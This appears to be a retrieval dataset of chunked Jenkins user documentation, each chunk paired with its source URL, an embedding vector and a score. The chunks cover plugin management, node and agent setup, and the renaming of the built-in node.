diagnostics. Prepare for Shutdown:: Prevents new builds from starting so that the system can be shut down safely. Displays a red banner with a custom message so that users know what is about to happen. image:user-docs:managing:prepare-for-shutdown.png[Red headband with a custom message] [NOTE] This does not ask Jenkins to stop; this action will just prevent new builds from starting. If you need to stop or restart Jenkins, you should use the command line or the `/restart` and `/safeRestart` end points. There is also a plugin called https://plugins.jenkins.io/saferestart/[Safe Restart] that will add a `Restart Safely` link in the UI. == Uncategorized group Screens for plugins that have not yet declared the category of their page.
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/index.adoc
main
jenkins
[ -0.0372384712100029, 0.02309066243469715, 0.001064098789356649, 0.029243744909763336, 0.029521869495511055, -0.043702468276023865, 0.002164504723623395, -0.03544805943965912, -0.039440274238586426, 0.007508415263146162, -0.018870199099183083, -0.02528807334601879, 0.014342930167913437, 0.0...
0.134666
`/restart` and `/safeRestart` end points. There is also a plugin called https://plugins.jenkins.io/saferestart/[Safe Restart] that will add a `Restart Safely` link in the UI. == Uncategorized group Screens for plugins that have not yet declared the category of their page.
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/index.adoc
main
jenkins
[ -0.014478795230388641, -0.07083295285701752, -0.04648595303297043, 0.03595783933997154, 0.047729410231113434, 0.0057737259194254875, -0.08784559369087219, -0.08986780047416687, -0.035614077001810074, -0.014750487171113491, -0.0037635324988514185, 0.036400265991687775, -0.016122017055749893, ...
0.076194
= Managing Plugins //// Pages to mark as deprecated by this document: https://wiki.jenkins.io/display/JENKINS/Plugins (header) https://wiki.jenkins.io/display/JENKINS/Removing+and+disabling+plugins https://wiki.jenkins.io/display/JENKINS/Pinned+Plugins //// Plugins are the primary means of enhancing the functionality of a Jenkins environment to suit organization- or user-specific needs. There are link:https://plugins.jenkins.io[over a thousand different plugins] which can be installed on a Jenkins controller and to integrate various build tools, cloud providers, analysis tools, and much more. Plugins can be automatically downloaded, with their dependencies, from the xref:user-docs:glossary:index.adoc#update-center[Update Center]. The Update Center is a service operated by the Jenkins project which provides an inventory of open source plugins which have been developed and maintained by various members of the Jenkins community. This section covers everything from the basics of managing plugins within the Jenkins web UI, to making changes on the xref:user-docs:glossary:index.adoc#controller[controller's] file system. == Installing a plugin Jenkins provides two methods for installing plugins on the controller: . Using the "Plugin Manager" in the web UI. . Using the xref:#install-with-cli[Jenkins CLI] `install-plugin` command. Each approach will result in the plugin being loaded by Jenkins but may require different levels of access and trade-offs in order to use. The two approaches require that the Jenkins controller be able to download meta-data from an Update Center, whether the primary Update Center operated by the Jenkins project footnote:uc[https://updates.jenkins.io], or a custom Update Center. The plugins are packaged as self-contained `.hpi` files, which have all the necessary code, images, and other resources which the plugin needs to operate successfully. [#from-the-web-ui] === From the web UI The simplest and most common way of installing plugins is through the \*Manage Jenkins\* > \*Plugins\* view, available to administrators of a Jenkins environment. Under the \*Available\* tab, plugins available for download from the configured Update Center can be searched and considered: image::user-docs:blueocean:intro/blueocean-plugins-filtered.png["Available tab in the Plugin Manager", role=center] Most plugins can be installed and used immediately by checking the box adjacent to the plugin and clicking \*Install without restart\*. [CAUTION] ==== If the list of available plugins is empty, the controller may be incorrectly configured or has not yet downloaded plugin meta-data from the Update Center. Clicking the \*Check now\* button forces Jenkins to attempt to contact its configured Update Center. ==== [#install-with-cli] === Using the Jenkins CLI .Installing Jenkins plugins using Jenkins CLI video::bTFMvXIkNIg[youtube,width=800,height=420] Administrators may also use the xref:#cli#[Jenkins CLI] which provides a command to install plugins. Scripts to manage Jenkins environments, or configuration management code, may need to install plugins without direct user interaction in the web UI. The Jenkins CLI allows a command line user or automation tool to download a plugin and its dependencies. [source,bash] ---- java -jar jenkins-cli.jar -s http://localhost:8080/ install-plugin SOURCE ... [-deploy] [-name VAL] [-restart] ---- ---- Installs a plugin either from a file, an URL, or from update center. SOURCE : If this points to a local file, that file will be installed. If this is an URL, Jenkins downloads the URL and installs that as a plugin.Otherwise the name is assumed to be the short name of the plugin in the existing update center (like "findbugs"),and the plugin will be installed from the update center. -deploy : Deploy plugins right away without postponing them until the reboot. -name VAL : If specified, the plugin will be installed as this short name (whereas normally the name is inferred from the source name automatically). -restart : Restart Jenkins upon successful installation. ---- === Advanced installation The Update Center only allows the installation of the most recently released version of a plugin. In cases where an older release of the plugin is desired, a Jenkins administrator can download an older `.hpi` archive and
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/plugins.adoc
main
jenkins
[ -0.07992596179246902, -0.018440591171383858, 0.02410949394106865, 0.058151423931121826, 0.0359029583632946, -0.01800445467233658, -0.036541059613227844, -0.053624384105205536, 0.004542222246527672, -0.01129438541829586, -0.012281600385904312, 0.04312119260430336, -0.010868582874536514, -0....
0.163718
name automatically). -restart : Restart Jenkins upon successful installation. ---- === Advanced installation The Update Center only allows the installation of the most recently released version of a plugin. In cases where an older release of the plugin is desired, a Jenkins administrator can download an older `.hpi` archive and manually install that on the Jenkins controller. Jenkins stores plugins it has downloaded in the `plugins` directory with a `.jpi` suffix, whether the plugins originally had a `.jpi` or an `.hpi` suffix. If an administrator manually copies a plugin archive into the `plugins` directory, it should be named with a `.jpi` suffix to match the file names used by plugins installed from the update center. ==== From the web UI Assuming a `.hpi` file has been downloaded, a logged-in Jenkins administrator may upload the file from within the web UI: . Navigate to the \*Manage Jenkins\* > \*Plugins\* page in the web UI. . Click on the \*Advanced\* tab. . Choose the `.hpi` file from your system or enter a URL to the archive file under the \*Deploy Plugin\* section. . \*Deploy\* the plugin file. image::user-docs:managing:plugin-manager-upload.png["Advanced tab in the Plugin Manager", role=center] Once a plugin file has been uploaded, the Jenkins controller must be manually restarted in order for the changes to take effect. ==== On the controller Assuming a `.hpi` file has been explicitly downloaded by a system administrator, the administrator can manually place the file in a specific location on the file system. Copy the downloaded `.hpi`` file into the `JENKINS\_HOME/plugins` directory on the Jenkins controller (for example, on Debian systems `JENKINS\_HOME` is generally `/var/lib/jenkins`). If an administrator manually copies a plugin archive into the `plugins` directory, it should be named with a `.jpi` suffix to match the file names used by plugins installed from the update center. The controller must be restarted before the plugin is loaded and made available in the Jenkins environment. [NOTE] ==== The names of the plugin directories in the Update Site footnote:uc[] are not always the same as the plugin's display name. Searching link:https://plugins.jenkins.io/[plugins.jenkins.io] for the desired plugin will provide the appropriate link to the archive file. ==== == Updating a plugin Updates are listed in the \*Updates\* tab of the \*Plugins\* page and can be installed by checking the checkboxes of the desired plugin updates and clicking the \*Download now and install after restart\* button. image::user-docs:managing:plugin-manager-update.png["Updates tab in the Plugin Manager", role=center] By default, the Jenkins controller will check for updates from the Update Center once every 24 hours. To manually trigger a check for updates, simply click on the \*Check now\* button in the \*Updates\* tab. === List installed plugins and their versions The simplest way to retrieve the list of installed plugins and their versions is by using the Jenkins Script Console. Follow these steps: 1. Open the Jenkins xref:user-docs:managing:script-console.adoc[Script console]: - Navigate to `Manage Jenkins` > `Script Console`. 2. Run the following script to list installed plugins and their versions: [source,groovy] ---- Jenkins.instance.pluginManager.plugins.each { println("${it.getShortName()}: ${it.getVersion()}") } ---- This script iterates through each installed plugin and prints its short name along with the version. == Removing a plugin When a plugin is no longer used in a Jenkins environment, it is prudent to remove the plugin from the Jenkins controller. This provides a number of benefits such as reducing memory overhead at boot or runtime, reducing configuration options in the web UI, and removing the potential for future conflicts with new plugin updates. === Uninstalling a plugin This video reviews the process of uninstalling a plugin from Jenkins. video::Keh6riX7574[youtube,width=800,height=420] The simplest way to uninstall a plugin is to
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/plugins.adoc
main
jenkins
[ -0.07967675477266312, -0.03262258693575859, 0.0057496740482747555, -0.011998572386801243, 0.010593770071864128, -0.05077313631772995, -0.034388478845357895, -0.06945374608039856, 0.015164261683821678, -0.04431983828544617, 0.05401303991675377, -0.0011720294132828712, -0.026983218267560005, ...
0.073603
reducing memory overhead at boot or runtime, reducing configuration options in the web UI, and removing the potential for future conflicts with new plugin updates. === Uninstalling a plugin This video reviews the process of uninstalling a plugin from Jenkins. video::Keh6riX7574[youtube,width=800,height=420] The simplest way to uninstall a plugin is to navigate to the \*Installed\* tab on the \*Plugins\* page. From there, Jenkins will automatically determine which plugins are safe to uninstall, those which are not dependencies of other plugins, and present a button for doing so. image::user-docs:managing:plugin-manager-uninstall.png["Installed tab in the Plugin Manager", role=center] A plugin may also be uninstalled by removing the corresponding `.jpi` file from the `JENKINS\_HOME/plugins` directory on the controller. The plugin will continue to function until the controller has been restarted. [CAUTION] ==== If a plugin file is removed but required by other plugins, the Jenkins controller may fail to boot correctly. ==== Uninstalling a plugin does \*not\* remove the configuration that the plugin may have created. If there are existing jobs/nodes/views/builds/etc configurations that reference data created by the plugin, during boot Jenkins will warn that some configurations could not be fully loaded and ignore the unrecognized data. Since the configuration(s) will be preserved until they are overwritten, re-installing the plugin will result in those configuration values reappearing. ==== Removing old data Jenkins provides a facility for purging configuration left behind by uninstalled plugins. Navigate to \*Manage Jenkins\* and then click on \*Manage Old Data\* to review and remove old data. === Disabling a plugin Disabling a plugin is a softer way to retire a plugin. Jenkins will continue to recognize that the plugin is installed, but it will not start the plugin, and no extensions contributed from this plugin will be visible. A Jenkins administrator may disable a plugin by unchecking the box on the \*Installed\* tab of the \*Plugins\* page (see below). image::user-docs:managing:plugin-manager-disable.png["Installed tab in the Plugin Manager", role=center] A systems administrator may also disable a plugin by creating a file on the Jenkins controller, such as: `JENKINS\_HOME/plugins/PLUGIN\_NAME.jpi.disabled`. The configuration(s) created by the disabled plugin behave as if the plugin were uninstalled, insofar that they result in warnings on boot but are otherwise ignored. ==== Using the Jenkins CLI It is also possible to enable or disable plugins via the xref:#cli#[Jenkins CLI] using the `enable-plugin` or `disable-plugin` commands. [NOTE] ==== The `enable-plugin` command was added to Jenkins in link:https://www.jenkins.io/changelog/#v2.136[v2.136]. The `disable-plugin` command was added to Jenkins in link:https://www.jenkins.io/changelog/#v2.151[v2.151]. ==== The `enable-plugin` command receives a list of plugins to be enabled. Any plugins which a selected plugin depends on will also be enabled by this command. [source,bash] ---- java -jar jenkins-cli.jar -s http://localhost:8080/ enable-plugin PLUGIN ... [-restart] ---- ---- Enables one or more installed plugins transitively. PLUGIN : Enables the plugins with the given short names and their dependencies. -restart : Restart Jenkins after enabling plugins. ---- The `disable-plugin` command receives a list of plugins to be disabled. The output will display messages for both successful and failed operations. If you only want to see error messages, the `-quiet` option can be specified. The `-strategy` option controls what action will be taken when one of the specified plugins is listed as an optional or mandatory dependency of another enabled plugin. [source,bash] ---- java -jar jenkins-cli.jar -s http://localhost:8080/ disable-plugin PLUGIN ... [-quiet (-q)] [-restart (-r)] [-strategy (-s) strategy] ---- ---- Disable one or more installed plugins. Disable the plugins with the given short names. You can define how to proceed with the dependant plugins and if a restart after should be done. You can also set the quiet mode to avoid extra info in the console. PLUGIN
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/plugins.adoc
main
jenkins
[ -0.046573806554079056, 0.046384990215301514, -0.003681557485833764, 0.03261353820562363, 0.0446595698595047, -0.043024443089962006, -0.04222618043422699, -0.05548441410064697, 0.00009791040065465495, 0.0024979591835290194, 0.008442864753305912, 0.03234100341796875, -0.037521690130233765, 0...
0.085448
strategy] ---- ---- Disable one or more installed plugins. Disable the plugins with the given short names. You can define how to proceed with the dependant plugins and if a restart after should be done. You can also set the quiet mode to avoid extra info in the console. PLUGIN : Plugins to be disabled. -quiet (-q) : Be quiet, print only the error messages -restart (-r) : Restart Jenkins after disabling plugins. -strategy (-s) strategy : How to process the dependant plugins. - none: if a mandatory dependant plugin exists and it is enabled, the plugin cannot be disabled (default value). - mandatory: all mandatory dependant plugins are also disabled, optional dependant plugins remain enabled. - all: all dependant plugins are also disabled, no matter if its dependency is optional or mandatory. ---- [CAUTION] ==== In the same way than enabling and disabling plugins from the UI requires a restart to complete the process, the changes made with the CLI commands will take effect once Jenkins is restarted. The `-restart` option forces a safe restart of the controller once the command has successfully finished, so the changes will be immediately applied. ==== == Pinned plugins [CAUTION] ==== Pinned plugins feature was removed in Jenkins 2.0. Versions later than Jenkins 2.0 do not bundle plugins, instead providing a wizard to install the most useful plugins. ==== The notion of \*pinned plugins\* applies to plugins that are bundled with Jenkins 1.x, such as the {plugin}matrix-auth[\*Matrix Authorization plugin\*]. By default, whenever Jenkins is upgraded, its bundled plugins overwrite the versions of the plugins that are currently installed in `JENKINS\_HOME`. However, when a bundled plugin has been manually updated, Jenkins will mark that plugin as pinned to the particular version. On the file system, Jenkins creates an empty file called `JENKINS\_HOME/plugins/PLUGIN\_NAME.jpi.pinned` to indicate the pinning. Pinned plugins will never be overwritten by bundled plugins during Jenkins startup. (Newer versions of Jenkins do warn you if a pinned plugin is \_older\_ than what is currently bundled.) It is safe to update a bundled plugin to a version offered by the Update Center. This is often necessary to pick up the newest features and fixes. The bundled version is occasionally updated, but not consistently. The Plugin Manager allows plugins to be explicitly unpinned. The `JENKINS\_HOME/plugins/PLUGIN\_NAME.hpi.pinned` file can also be manually created/deleted to control the pinning behavior. If the `pinned` file is present, Jenkins will use whatever plugin version the user has specified. If the file is absent, Jenkins will restore the plugin to the default version on startup. == What is an implied dependency? Features are sometimes detached (or split off) from Jenkins core and moved into a plugin. Many plugins, like {plugin}subversion[Subversion] and {plugin}junit[JUnit], got their beginnings as Jenkins core functionalities. When a plugin was attached to Jenkins core prior to being detached, it may or may not have used its full functionality with other plugins that relied on the same version of Jenkins. To ensure that plugins do not fail when a functionality on which they rely is separated from Jenkins core, it is necessary to have a dependency in the detached plugin, if it specifies a dependency on a version of Jenkins core prior to the split. It is assumed that there is a dependency on the detached plugin, even when it isn't stated explicitly. Implied dependencies build up over time for plugins that don't frequently update which Jenkins core version they depend on. === Why does the implied dependency exist? It is "implied" since it is not stated explicitly in the plugin, and it is a dependency because Jenkins core is
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/plugins.adoc
main
jenkins
[ -0.04314285144209862, 0.008720378391444683, 0.033456433564424515, 0.005333805922418833, 0.017356006428599358, 0.023056907579302788, -0.024009332060813904, -0.06459460407495499, -0.05270175263285637, -0.018445344641804695, 0.02429155819118023, 0.0015513229882344604, -0.023920796811580658, 0...
0.052034
isn't stated explicitly. Implied dependencies build up over time for plugins that don't frequently update which Jenkins core version they depend on. === Why does the implied dependency exist? It is "implied" since it is not stated explicitly in the plugin, and it is a dependency because Jenkins core is uncertain if the APIs available in Jenkins core, prior to the separation of the plugin, are necessary or not. For example, because the Instance Identity plugin was separated from Jenkins core, Jenkins core is uninformed if the dependent plugin needs any functionality that was previously present in Jenkins core. This creates an implied dependency. As a Jenkins administrator, you can see the plugins that have an implied dependency from the plugin manager page. Hover over the "uninstall" button and a list of plugins with an implied dependency is displayed. image::user-docs:managing:hover-for-implied-dependencies.png["Hover over the uninstall button to see Implied Dependencies", role=center] === How can the implied dependency be removed? The implied dependency can be removed by releasing a new version of the plugin that depends on a newer minimum Jenkins core. The xref:dev-docs:tutorial-improve:index.adoc[Improve a plugin tutorial] provides steps that can assist plugin developers as they update the plugin to xref:dev-docs:tutorial-improve:update-base-jenkins-version.adoc[depend on a newer minimum Jenkins core]. [[plugin-health-score]] == What is the health score? There is a metric available next to the plugins in the Plugin Manager called "Health Score". image::plugin-manager-available-health-score.png["Plugin Health Score in the Plugin Manager available listing", role="center"] You can find the same metric in the available update and the installed page of the plugin manager. NOTE: The score value is always based on the latest available data. This means that there is no score of a specific release of a plugin. What is available on the installed and updates page of the plugin manager does not stand for the version already installed. This metric is coming from https://github.com/jenkins-infra/plugin-health-scoring[Plugin Health Scoring]. This service is gathering data from each plugin. The data can be related to: \* The source code of the plugin \* The content of the plugin repository \* External metrics about the plugin (number of open pull requests, etc.) That data is then used to evaluate the status of the project. All plugins are evaluated the same way, meaning there is a fair way to compare plugins. While only the score is shown, the details behind this value are available on the https://plugins.jenkins.io[plugins site] in the health score section of each plugin: image::plugin-site-health-score.png["Plugin health score on the plugins site", role="center"] It is also possible to find the details directly on the https://plugin-health.jenkins.io[Plugin Health Scoring] service. To access it, append the plugin name to the score URL. For example: `https://plugin-health.jenkins.io/scores/mailer` for the Mailer plugin. Each section of the score can have one or multiple elements evaluated. Each component of the section can have more or less impact on the global score. === How to improve the scores? The data gathered by the Plugin Health Scoring project on every plugin is evaluated frequently. Review the recommendations on the plugins site to improve the plugin score. TIP: Adopting a plugin or contributing to plugins is always welcome.
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/plugins.adoc
main
jenkins
[ -0.09888894855976105, -0.00462180282920599, 0.10012070089578629, 0.06011911854147911, 0.07995875179767609, -0.015569650568068027, -0.015951955690979958, -0.12016383558511734, 0.04733234643936157, -0.015238170512020588, 0.029185667634010315, -0.011477741412818432, -0.013611532747745514, 0.0...
0.038615
:hide-uri-scheme: = Managing Nodes == Components of Distributed Builds Builds in a xref:user-docs:scaling:architecting-for-scale.adoc#distributed-builds-architecture[distributed builds architecture] use nodes, agents, and executors, which are distinct from the Jenkins controller itself. Understanding what each of these components are is useful when managing nodes: //// Add link to "How Jenkins executes a Pipeline" after https://github.com/jenkins-infra/jenkins.io/pull/4612 is merged //// Jenkins controller:: The Jenkins controller is the Jenkins service itself and where Jenkins is installed. It is also a web server that also acts as a "brain" for deciding how, when, and where to run tasks. Management tasks such as configuration, authorization, and authentication are executed on the controller, which serves HTTP requests. Files written when a Pipeline executes are written to the filesystem on the controller, unless they are off-loaded to an artifact repository such as Nexus or Artifactory. Nodes:: Nodes are the "machines" on which build agents run. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync, and response time. A node is taken offline if any of these values go outside the configured threshold. Jenkins supports two types of nodes: \* \*agents\* (described below) \* \*built-in node\* \*\* The built-in node is a node that exists within the controller process. It is possible to use agents and the build-in node to run tasks. However, running tasks on the built-in node is discouraged for security, performance, and scalability reasons. The number of executors configured for the node determines the node's ability to run tasks. Set the number of executors to 0 to disable running tasks on the built-in node. Agents:: Agents manage the task execution on behalf of the Jenkins controller by using executors. An agent is a small (170KB single jar) Java client process that connects to a Jenkins controller and is assumed to be unreliable. An agent can use any operating system that supports Java. Any tools required for building and testing get installed on the node where the agent runs. Because these tools are a part of the node, they can be installed directly or in a container, such as Docker or Kubernetes. Each agent is effectively a process with its own Process Identifier (PID) on the host machine. In practice, nodes and agents are essentially the same but it is good to remember that they are conceptually distinct. Executors:: An executor is a slot for the execution of tasks. Effectively, it is a thread in the agent. The number of executors on a node defines the number of concurrent tasks that can run. In other words, this determines the number of concurrent Pipeline `stages` that can execute at the same time. Determine the correct number of executors per build node must be determined based on the resources available on the node and the resources required for the workload. When determining how many executors to run on a node, consider CPU and memory requirements, as well as the amount of I/O and network activity: \* One executor per node is the safest configuration. \* One executor per CPU core can work well, if the tasks running are small. \* Monitor I/O performance, CPU load, memory usage, and I/O throughput carefully when running multiple executors on a node. [#creating-agents] == Creating Agents Jenkins agents are the "workers" that perform operations requested by the Jenkins controller. The Jenkins controller administers the agents and can manage the tooling on the agents. Jenkins agents may be statically allocated or they can be dynamically allocated through systems like Kubernetes, OpenShift, Amazon EC2, Azure, Google Cloud, IBM Cloud, Oracle Cloud, and other cloud providers. This 30 minute tutorial from Darin Pope
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/nodes.adoc
main
jenkins
[ -0.04264812916517258, 0.01861746236681938, -0.050798267126083374, 0.04949527978897095, 0.05054812133312225, -0.11166804283857346, -0.04999140277504921, -0.032440055161714554, 0.06474263966083527, 0.02719227969646454, 0.00007924506644485518, 0.0242584440857172, 0.004469546023756266, -0.0899...
0.168311
Jenkins controller administers the agents and can manage the tooling on the agents. Jenkins agents may be statically allocated or they can be dynamically allocated through systems like Kubernetes, OpenShift, Amazon EC2, Azure, Google Cloud, IBM Cloud, Oracle Cloud, and other cloud providers. This 30 minute tutorial from Darin Pope creates a Jenkins agent and connects it to a controller. .How to create an agent node in Jenkins video::99DddJiH7lM[youtube, width=640, height=360] == Launch inbound agent via Windows Scheduler If you are having trouble getting the inbound agent installed as a Windows service (i.e., you followed https://wiki.jenkins.io/display/JENKINS/Installing+Jenkins+as+a+Windows+service[the instructions on installing the agent as a service here] but it didn't work), an alternative method of starting the service automatically when Windows starts is to use the Windows Scheduler. We take advantage of the Windows Scheduler's ability to run command at system startup . Configure your node to use the "Launch agents by connecting it to the master" launch method \* Click Save . Note the command required to launch the agent \* On the new agent node's Jenkins page, note the agent command line shown. \*\* It will be like: [source,java] ---- java -jar agent.jar \ -jnlpUrl http://:8080/computer//slave-agent.jnlp \ -secret ---- . Obtain the agent.jar file and copy it to your new Windows agent node \* In the command line noted in the last step, the "agent.jar" is a hyperlink. Click it to download the agent.jar file. \* Copy the agent.jar file to a permanent location on your agent machine . Ensure that you have a java version available on your agent machine \* If not, obtain and install a xref:platform-information:support-policy-java.adoc[supported version] of Java . Run the command manually from a CMD window on your agent to confirm that it works \* Open the CMD window \* Run the command the one like [source,java] ---- java -jar agent.jar -jnlpUrl \ http://:8080/computer//slave-agent.jnlp -secret ---- \* Go back to the node's web page in Jenkins. If everything works then page should say "Agent is connected" \* Stop the command (control-c) . Register a new scheduled job to run the same command \* Open "Task Scheduler" on your windows machine \*\* Start -> Run: task Scheduler \* Create a basic task (Menu: Action -> Create Basic Task) \*\* First page of the wizard: \*\*\* Name: Jenkins Agent \*\*\* Description (optional) \*\*\* Click Next \*\* Next page of the wizard \*\*\* When do you want the task to start: select "When the computer starts" \*\*\* Click Next \*\* Next page of the wizard \*\*\* What action do you want the task to perform: select "Start a program" \*\*\* Click Next \*\* Next page of the wizard \*\*\* Program/Script: enter "java.exe" (or the full path to your java.exe) \*\*\* Add arguments: enter the rest of the command, like [source,java] ---- -jar agent.jar -jnlpUrl http://:8080/computer//slave-agent.jnlp \ -secret ---- \*\*\* eg: [source,java] ---- -jar D:\Scripts\jenkins\agent.jar \ -jnlpUrl http://jenkinshost.example.com:8080/computer/buildNode1/slave-agent.jnlp -secret \ d6a84df1fc4f45ddc9c6ab34b08f13391983ffffffffffb3488b7d5ac77fbc7 ---- \*\*\* Click Next \*\* Next page of the wizard \*\*\* Click the check box "Open the Properties dialog for this task when I click Finish \*\*\* Click Finish \* Update the task's properties \*\* On the General tab \*\*\* Select the user to run the task as \*\*\* Select "Run whether user is logged on or not" \*\* On the settings tab \*\*\* Uncheck "Stop the task if it runs longer than" \*\*\* Check "Run the task as soon as possible after a scheduled start is missed" \*\*\* Check "If the task failed, restart every: 10 minutes", and "Attempt to restart up to: 3 times" \*\* Click OK . Start the scheduled task and again check that
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/nodes.adoc
main
jenkins
[ -0.046153124421834946, -0.05305616930127144, -0.08649080991744995, 0.02021115832030773, -0.015547649003565311, 0.03563597425818443, -0.040588654577732086, -0.03319032862782478, 0.06352720409631729, 0.04610583931207657, -0.08545301854610443, -0.009957822971045971, 0.017015181481838226, 0.03...
0.066335
if it runs longer than" \*\*\* Check "Run the task as soon as possible after a scheduled start is missed" \*\*\* Check "If the task failed, restart every: 10 minutes", and "Attempt to restart up to: 3 times" \*\* Click OK . Start the scheduled task and again check that the agent is connected \* Go back to the node's web page in Jenkins. If everything works then page should say "Agent is connected" == Installing a Jenkins agent on Windows You can install a Jenkins agent on Windows using the command line. In this video, Darin reviews setting up and installing the Jenkins agent, including how to create any necessary files. .How to install a Jenkins agent on Windows video::N8AQTlHoBKc[youtube,width=800,height=420] == Creating a macOS agent for Jenkins This video reviews the process of creating a macOS agent for Jenkins using Java 11. video::DteE1Zf8CIw[youtube,width=800,height=420]
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/nodes.adoc
main
jenkins
[ -0.07320686429738998, -0.02447650022804737, -0.03253067284822464, -0.035011373460292816, 0.003174850018694997, -0.0015094542177394032, -0.10601421445608139, -0.05586666241288185, -0.001385740702971816, -0.007332652807235718, -0.07839704304933548, -0.02033800631761551, -0.022790370509028435, ...
0.104012
// Included in other files because we need it in multiple locations As part of the link:https://groups.google.com/g/jenkinsci-dev/c/x5vdlJDvntw[terminology cleanup effort], the built-in node was renamed from "master node" to "built-in node" in Jenkins 2.307 and in Jenkins 2.319.1. This is not just a change affecting the UI and documentation: The node name affects the implicitly assigned label of the node (and consequently the `NODE\_LABELS` environment variable), as well as the `NODE\_NAME` environment variable. NOTE: The `NODE\_NAME` environment variable in Pipelines is set by the {plugin}workflow-durable-task-step[Pipeline: Nodes and Processes] plugin. In plugin version 2.39 and earlier, this value is always `master`. Update to version 2.40 or newer to get consistent behavior between job types. == Affected Features Jenkins features using node labels are therefore potentially impacted by any such changes. These features include: \* Label assignments of various project types, both on the top level (e.g. Freestyle jobs) and within jobs (e.g. `node` statements in Scripted Pipeline, `label` parameters to `agent` sections in Declarative Pipeline, or {plugin}matrix-project[Matrix Project] axes). \* Label assignments of features like custom tool auto-installers, typically used to distinguish OS platforms. \* Any custom build scripts whose behavior is different based on the `NODE\_NAME` or `NODE\_LABELS` environment variables (or their `env` global variable equivalent in Pipeline). \* Any similar features in plugins. == Migration Due to the potential impact to build behavior, instances upgrading Jenkins to version 2.307 or newer do not automatically get these behavior changes applied. Instead, an administrative monitor informs administrators about this change and allows them to apply it. // Screenshot here? Is this useful? Before applying the built-in node name and label migration, administrators are advised to review their configuration and build scripts to assess the impact to their instance and jobs. Most problems with label assignments can likely be worked around by manually assigning the label `master` to the built-in node and then migrating affected configuration incrementally to not need this workaround. == Plugin Compatibility === Known Incompatible Plugins \* {plugin}workflow-durable-task-step[Pipeline: Nodes and Processes] always sets the `NODE\_NAME` to `master` in Pipelines before link:https://github.com/jenkinsci/workflow-durable-task-step-plugin/releases/tag/workflow-durable-task-step-2.40[version 2.40]. \* {plugin}nodelabelparameter[Node and Label Parameter plugin] displays the controller node as `master` in releases before link:https://github.com/jenkinsci/nodelabelparameter-plugin/releases/tag/nodelabelparameter-1.10.0[version 1.10.0]. Use https://issues.jenkins.io/issues/?jql=labels%3Dbuilt-in-node-migration-regression[this Jira query] to find compatibility issues tracked in the Jenkins Jira. Use https://github.com/search?q=%22https%3A%2F%2Fgithub.com%2Fjenkinsci%2Fjenkins%2Fpull%2F5425%22+-repo%3Ajenkinsci%2Fjenkins&type=Issues&ref=advsearch&l=&l=[this GitHub query] to find compatibility issues tracked on GitHub. === Reporting Incompatible Plugins Please report problems in the respective plugin's issue tracker. If the affected plugin uses the Jenkins Jira to track issues, please add the label `built-in-node-migration-regression`. If the affected plugin tracks issues on GitHub, please make sure to mention the https://github.com/jenkinsci/jenkins/pull/5425[Jenkins pull request] that implemented the change in your issue.
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/_partials/_built-in-node-migration.adoc
main
jenkins
[ -0.072364442050457, 0.014588438905775547, 0.07770466804504395, 0.037022579461336136, 0.0792597159743309, -0.03943685069680214, -0.04227977246046066, -0.07158628851175308, 0.045098163187503815, -0.05282150208950043, -0.0467664860188961, -0.0005467101582325995, 0.005175057332962751, -0.03520...
0.047014
= User Handbook Overview This page provides an overview of the documentation in the Jenkins User Handbook. If you want to get up and running with Jenkins, see xref:installing-jenkins:index.adoc[Installing Jenkins] for procedures on how to install Jenkins on your supported platform of choice. If you are a typical Jenkins user (of any skill level) who wants to know more about Jenkins usage, see xref:using-jenkins:index.adoc[Using Jenkins]. Also refer to the separate xref:pipeline:index.adoc[Pipeline] and xref:blueocean:index.adoc[Blue Ocean] chapters for more information about these core Jenkins features. If you are a Jenkins administrator and want to know more about managing Jenkins nodes and instances, see xref:managing:index.adoc[Managing Jenkins]. If you are a system administrator and want to learn how to back-up, restore, maintain as Jenkins servers and nodes, see xref:system-administration:index.adoc[Jenkins System Administration].
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/getting-started/pages/index.adoc
main
jenkins
[ -0.0043920124880969524, -0.06958919018507004, -0.040015991777181625, 0.03620775416493416, 0.02462785691022873, -0.055648960173130035, -0.01740608736872673, -0.010419055819511414, -0.04612895846366882, -0.013506477698683739, -0.056918833404779434, 0.010274841450154781, -0.03692098334431648, ...
0.187319
= Jenkins User Documentation Welcome to the Jenkins user documentation - for people wanting to \_use\_ Jenkins's existing functionality and plugin features. If you want to extend the functionality of Jenkins by developing your own Jenkins plugins, please refer to the xref:dev-docs:ROOT:index.adoc[Extend Jenkins] (developer documentation). == What is Jenkins? Jenkins is a self-contained, open source automation server which can be used to automate all sorts of tasks related to building, testing, and delivering or deploying software. Jenkins can be installed through native system packages, Docker, or even run standalone by any machine with a Java Runtime Environment (JRE) installed. == About this documentation This documentation begins with a xref:user-docs:pipeline:tour/getting-started.adoc[Guided Tour] to help you get up and running with Jenkins and introduce you to Jenkins's main feature, Pipeline. There are also xref:tutorials:ROOT:index.adoc[Tutorials] geared to developers who want to orchestrate and automate building their project in Jenkins using Pipeline and Blue Ocean. If you've never used Jenkins before or have limited Jenkins experience, then the Guided Tour and introductory tutorials are good places to start. If you are looking for more detailed information about using Jenkins, please refer to the xref:getting-started:index.adoc[User Handbook] === Documentation scope Jenkins is a highly extensible product whose functionality can be extended through the installation of plugins. There are a vast array of plugins available to Jenkins. However, the documentation covered in the xref:user-docs:pipeline:tour/getting-started.adoc[Guided Tour] xref:tutorials:ROOT:index.adoc[Tutorials], xref:solutions:ROOT:index.adoc[Solution pages] and xref:getting-started:index.adoc[User Handbook] of this documentation are based on a xref:installing-jenkins:index.adoc[Jenkins installation] with the xref:blueocean:getting-started.adoc[Blue Ocean plugins installed], as well as the "suggested plugins", 